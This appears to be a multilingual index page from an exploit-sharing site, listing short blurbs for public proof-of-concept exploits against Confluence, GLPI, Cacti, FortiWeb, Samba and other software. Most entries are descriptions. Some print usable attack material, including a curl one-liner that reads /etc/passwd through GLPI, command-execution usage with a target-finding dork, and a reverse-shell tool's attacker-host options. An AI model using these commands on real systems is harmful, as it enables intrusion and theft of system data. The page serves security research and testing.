telerik-scanner-CVE-2019-18935

Scanner de vulnérabilité Telerik CVE-2019-18935 Un scanner de sécurité basé sur Python conçu pour détecter la vulnérabilité d'exécution de code à distance Telerik UI for ASP.NET AJAX CVE-2019-18935. 🚨 Détails de la vulnérabilité CVE : CVE-2019-18935 Niveau de risque : ÉLEVÉ CWE : CWE-913 CVSS : 9...

noSAMBAnoCRY-CVE-2017-7494

noSAMBAnoCRY CVE-2017-7494 Exploit à distance pour la vulnérabilité SAMBA CVE-2017-7494, alias isknowpipename! Détails Cet exploit est divisé en 3 parties : Compile evilLib dans les architectures suivantes : x8664, x86 ou i686 Trouve un partage accessible en écriture et y télécharge evilLib !...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 Cacti remoteagent.php Injection de commande non authentifiée. Contournement d'authentification Ajoutez l'en-tête X-Forwarded-For pour contourner l'authentification, notez que sa valeur n'est pas une valeur fixe. Force brute Utilisez Burp Intruder pour fuzzer les...

CVE-2026-55200

🚨 CVE-2026-55200 - Vulnérabilité critique de type Out-of-Bounds Write dans libssh2 📌 Aperçu CVE-2026-55200 est une vulnérabilité critique de corruption mémoire affectant la bibliothèque largement déployée libssh2. Le défaut provient d'une validation incorrecte du champ de longueur de paquet SSH...

CVE-2025-55182

CVE-2025-55182 Pollution de prototype Next.js CVE-2025-55182 est une vulnérabilité critique de pollution de prototype dans nextjs qui permet une exécution de code à distance via un assainissement incorrect des entrées dans le mécanisme de gestion des requêtes du framework. Tout cela se produit...

cve-2020-11060-poc

CVE-2020-11060 Ce script est un exploit basé sur Python 3.x pour CVE-2020-11060 dans les versions GLPI 0.85-9.4.5. Implémentation originale : 0xdreadnaught Réécriture Python3 : n3rada Le PoC original sur ExploitDB est désormais obsolète car il utilisait Python 2.x. La nouvelle version a été...

CVE-2026-46817

🚨 CVE-2026-46817 - Exécution de code à distance critique Oracle E-Business Suite – Oracle Payments Transmission de fichiers Vulnérabilité distante critique sans authentification affectant Oracle Payments Transmission de fichiers qui peut permettre une compromission totale de l'application via HTT...

Magento-eCommerce-RCE-CVE-2015-1397

Exploit Magento Shoplift SUPEE-5344 - CVE-2015-1397 Présentation Ce script exploite la vulnérabilité CVE-2015-1397 dans Magento, communément appelée exploit Magento Shoplift. Il permet à un attaquant de créer un nouvel utilisateur administrateur dans la base de données Magento en injectant des...

cve-2019-3396

cve-2019-3396 RCE non authentifié sur Confluence cve-2019-3396 Installation des bibliothèques d'exploitation root@kitploit: bundle install Exécution root@kitploit: ┌──user㉿hostname-/path/to/cve-2019-3396 └─$ ruby cve-2019-3396.rb Exploitation - CVE-2019-3396 Auteur - Abdallah Mohamed Elsharif...

Cacti-CVE-2020-8813

Cacti-CVE-2020-8813 root@kitploit: Usage: cactirce.py options Options: -h, --help show this help message and exit -u URL, --url=URL Required target URL eg:. http://Cacti/ -l LHOST, --lhost=LHOST Required Attacker IP addr -p LPORT, --lport=LPORT Default 443 Attacker IP Port Exemple : root@kitploit...

SMBGhost

SMBGhost Test en masse de CVE-2020-0796 - SMBv3 RCE...

cve-2025-32433

Сборка root@kitploit: » git clone https://github.com/0xPThree/cve-2025-32433.git && cd cve-2025-32433 » docker build -t erlang-ssh . » docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh POC root@kitploit: kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage:...

CVE-2026-45829

🚨 CVE-2026-45829 - ChromaDB Pre-Auth RCE Критическое удаленное выполнение кода в векторной базе данных ChromaDB 📌 Обзор CVE-2026-45829 — это критическая уязвимость удаленного выполнения кода до аутентификации в ChromaDB , популярной открытой векторной базе данных ИИ. Неаутентифицированный...

FreePBX-CVE-2025-57819-RCE

FreePBX 16 — Неаутентифицированная SQLi до RCE Эксплойт типа proof-of-concept, объединяющий две уязвимости FreePBX для перехода от нулевого доступа к удаленному выполнению кода на FreePBX 16...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 Confluenceサーバー上でのリモートコード実行。 Dork Fofa: app="ATLASSIAN-Confluence" 使用方法 ヘルプ情報を表示します。 root@kitploit: python PoC.py 個別のWebサイトに対する脆弱性確認。 root@kitploit: python PoC.py -u https://1.1.1.1 コマンド実行。 root@kitploit: python PoC.py -u https://1.1.1.1 -e 'cat /etc/passwd' バッチテスト。...

CVE-2025-25257

🚨 CVE-2025-25257 – FortiWeb SQLi к RCE Критическая SQL-инъекция → Исполнение веб-шелла Обнаружена и реализована 0xgh057r3c0n 🧠 Обзор уязвимости CVE-2025-25257 затрагивает системы FortiWeb, которые предоставляют эндпоинт /api/fabric/device/status, который не выполняет должную санитизацию ввода...

CVE-2022-35914

CVE-2022-35914 Неаутентифицированное RCE в GLPI 10.0.2 PoC root@kitploit: curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://HOST/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \0-9+\ ='| sed -E 's/\ \0-9+\ =\ ./\1/'...

CVE-2012-1823

PHP CGI Argument Injection CVE-2012-1823 Description sapi/cgi/cgimain.c dans PHP avant 5.3.12 et 5.4.x avant 5.4.2, lorsqu'il est configuré en tant que script CGI aka php-cgi, ne traite pas correctement les chaînes de requête qui ne contiennent pas le caractère = signe égal, ce qui permet à des...

CVE-2026-8461

🎬 CVE-2026-8461 — PixelSmash Écriture hors limites critique dans le décodeur MagicYUV de FFmpeg Un fichier vidéo malveillant peut devenir une arme. PixelSmash est une vulnérabilité critique de corruption mémoire affectant le décodeur MagicYUV de FFmpeg qui permet à un attaquant de déclencher une...

CVE-2024-4879

CVE-2024-4879 ServiceNow, une plateforme largement utilisée pour la transformation des entreprises, a récemment divulgué trois vulnérabilités de sécurité critiques qui pourraient avoir de graves conséquences pour les organisations du monde entier. Ces vulnérabilités, identifiées sous les noms...